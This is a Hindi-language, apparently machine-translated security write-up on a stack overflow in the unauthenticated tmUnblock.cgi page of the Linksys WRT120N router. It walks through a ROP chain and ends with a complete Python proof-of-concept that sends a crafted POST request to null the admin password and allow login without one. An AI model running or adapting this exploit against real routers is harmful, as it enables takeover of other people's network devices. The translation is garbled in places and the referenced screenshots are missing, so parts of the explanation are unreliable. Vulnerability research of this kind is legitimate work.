Linksys WRT120N पर fprintf में ओवरफ्लो स्टैक

डिवाइस में डिक्रिप्टेड फर्मवेयर और जेटीजी एक्सेस प्राप्त करने के बाद , यह कुछ दिलचस्प बग के लिए कोड की जांच करने का समय था।
जैसा कि हमने पहले सीखा, WRT120N RTOS पर चलता है। सुरक्षा कारणों से, RTOS WEB प्रशासनिक इंटरफ़ेस HTTP बेसिक प्रमाणीकरण का उपयोग करता है:



अधिकांश पृष्ठों को प्रमाणीकरण की आवश्यकता होती है, लेकिन कई पृष्ठ हैं जो स्पष्ट रूप से इसे प्रतिबंधित करते हैं:





इन यूआरएल के लिए कोई भी अनुरोध प्रमाणीकरण के बिना किया जाएगा, इसलिए यह बग ढूंढने के लिए एक अच्छी जगह है।

इनमें से कुछ पृष्ठ वास्तव में मौजूद नहीं हैं, अन्य मौजूद हैं, लेकिन कुछ भी नहीं (NULL फ़ंक्शन) करते हैं। हालाँकि, /cgi/tmUnBlock.cgi के पृष्ठ में किसी प्रकार का हैंडलर है जो उपयोगकर्ता डेटा को संसाधित करता है:


विचार करने के लिए कोड का एक दिलचस्प हिस्सा यह है:

fprintf(request->socket, "Location %s\n\n", GetWebParam(cgi_handle, "TM_Block_URL")); 

हालाँकि यह पहली नज़र में अच्छा लगता है, लेकिन POST अनुरोध के TM_Block_URL पैरामीटर का प्रसंस्करण फ़र्ज़ीफ़ायर के कार्यान्वयन की कमी के कारण असुरक्षित है:


हां, fprintf प्रारूप और तर्कों के साथ vsprintf को कॉल करता है, और हम इसे 256 बाइट्स तक सीमित स्थानीय बफर में डालते हैं।

अपना सम्मान करें। स्प्रिंटफ का उपयोग न करें।

इसका मतलब यह है कि POST पैरामीटर TM_Block_URL, फ़िरप्रिंट में एक ढेर अतिप्रवाह का कारण होगा यदि यह 246 बाइट्स (साइज़ोफ़ (buf) - strlen ("स्थान:")) से अधिक हो:

 $ wget --post-data="period=0&TM_Block_MAC=00:01:02:03:04:05&TM_Block_URL=$(perl -e 'print "A"x254')" http://192.168.1.1/cgi-bin/tmUnBlock.cgi 

स्टेकट्रेस गिर जाते हैं

चलो एक सरल शोषण करते हैं जो महत्वपूर्ण डेटा को स्मृति में लिख देगा, उदाहरण के लिए, व्यवस्थापक पासवर्ड, जो 0x81544AF0 पर स्थित है:


व्यवस्थापक पासवर्ड एक मानक NULL- टर्मिनेटेड स्ट्रिंग है, इसलिए यदि हम पते पर केवल एक NULL बाइट लिख सकते हैं, तो हम एक खाली पासवर्ड के साथ राउटर में लॉग इन कर सकते हैं। हमें यह सुनिश्चित करने की आवश्यकता है कि शोषण के बाद सिस्टम सामान्य रूप से काम करना जारी रखे।

यदि आप fprintf फ़ंक्शन के अंत को देखते हैं, तो आप देख सकते हैं कि रजिस्टरों $ ra और $ s0 को स्टैक से पुनर्स्थापित किया जाता है, जिसका अर्थ है कि हम इन रजिस्टरों का प्रबंधन कर सकते हैं जब हम स्टैक को ओवरफ़्लो करते हैं:


0x8031F634 पर कोड का एक और उत्कृष्ट टुकड़ा है जो $ s रजिस्टर में $ शून्य रजिस्टर से पते तक 4 NULL बाइट्स लिखता है।


यदि हम ओवरफ्लो का उपयोग करते हैं, ताकि fprintf 0x8031F634 पर वापस लौटे और एक प्रशासनिक पासवर्ड (0x81544AF0) वाले पते के साथ $ s0 को अधिलेखित कर दे, तो यह कोड निम्नलिखित कार्य करेगा:

• व्यवस्थापक पासवर्ड रीसेट करें
• यह स्टैक से वापसी पते पर वापस आ जाएगा (और हम स्टैक को नियंत्रित करते हैं)
• स्टैक पॉइंटर में 16 जोड़ें

अंतिम बिंदु एक समस्या है। हमें काम जारी रखने और क्रैश नहीं करने के लिए सिस्टम की आवश्यकता है, लेकिन अगर हम अभी तक cgi_tmUnBlock फंक्शनफेयर के रूप में कार्य करते हैं और करते हैं, तो हमें 16 बाइट्स का एक स्टैक ऑफ़सेट मिलता है।

प्रयोग करने योग्य एमआइपी आरओपी गैजेट (रिवर्स-ओरिएंटेड प्रोग्रामिंग करने के लिए निर्देशों का एक क्रम। लगभग।) जो 16 बाइट्स से स्टैक पॉइंटर को कम करता है, समस्याग्रस्त हो सकता है, इसलिए हम एक अलग तरीके से जाएंगे।

यदि हम उस पते को देखते हैं जहां fprintf को cgi_tmUnblock पर लौटना चाहिए था, तो हम देख सकते हैं कि वह जो कुछ करता है वह स्टैक से $ ra, $ s1 और $ s0 को पुनर्स्थापित करता है, और फिर 0 × 60 को स्टैक पॉइंटर में जोड़ें:


बेशक, ऐसे कोई गैजेट नहीं हैं जो बस ऐसा करेंगे, लेकिन पता 0x803471B8 पर एक अच्छा है, जो बहुत समान है:


यह गैजेट केवल 0 × 10 को स्टैक में जोड़ता है, लेकिन यह कोई समस्या नहीं है। हम अतिरिक्त स्टैक फ्रेम बनाएंगे जो आरओपी गैजेट को 5 बार अपने आप में वापस कर देगा। पाँचवें पुनरावृत्ति पर, $ ra, $ s1 और $ s0 के मूल मान, जो हमने cgi_tmUnblock को दिए थे , उन्हें स्टैक से पुनर्स्थापित किया जाएगा, और हमारा ROP गैजेट कॉलर cgi_tmUnblock पर वापस आएगा :


स्टैक और रजिस्टरों में सही मान के साथ, सिस्टम काम करना जारी रखेगा जैसे कि कुछ भी नहीं हुआ था। यहाँ PoC ( डाउनलोड ) है:

 import sys import urllib2 try: target = sys.argv[1] except IndexError: print "Usage: %s <target ip>" % sys.argv[0] sys.exit(1) url = target + '/cgi-bin/tmUnblock.cgi' if '://' not in url: url = 'http://' + url post_data = "period=0&TM_Block_MAC=00:01:02:03:04:05&TM_Block_URL=" post_data += "B" * 246 # Filler post_data += "\x81\x54\x4A\xF0" # $s0, address of admin password in memory post_data += "\x80\x31\xF6\x34" # $ra post_data += "C" * 0x28 # Stack filler post_data += "D" * 4 # ROP 1 $s0, don't care post_data += "\x80\x34\x71\xB8" # ROP 1 $ra (address of ROP 2) post_data += "E" * 8 # Stack filler for i in range(0, 4): post_data += "F" * 4 # ROP 2 $s0, don't care post_data += "G" * 4 # ROP 2 $s1, don't care post_data += "\x80\x34\x71\xB8" # ROP 2 $ra (address of itself) post_data += "H" * (4-(3*(i/3))) # Stack filler; needs to be 4 bytes except for the # last stack frame where it needs to be 1 byte (to # account for the trailing "\n\n" and terminating # NULL byte) try: req = urllib2.Request(url, post_data) res = urllib2.urlopen(req) except urllib2.HTTPError as e: if e.code == 500: print "OK" else: print "Received unexpected server response:", str(e) except KeyboardInterrupt: pass 

कोड निष्पादन भी संभव है, लेकिन इसके बारे में कुछ और समय।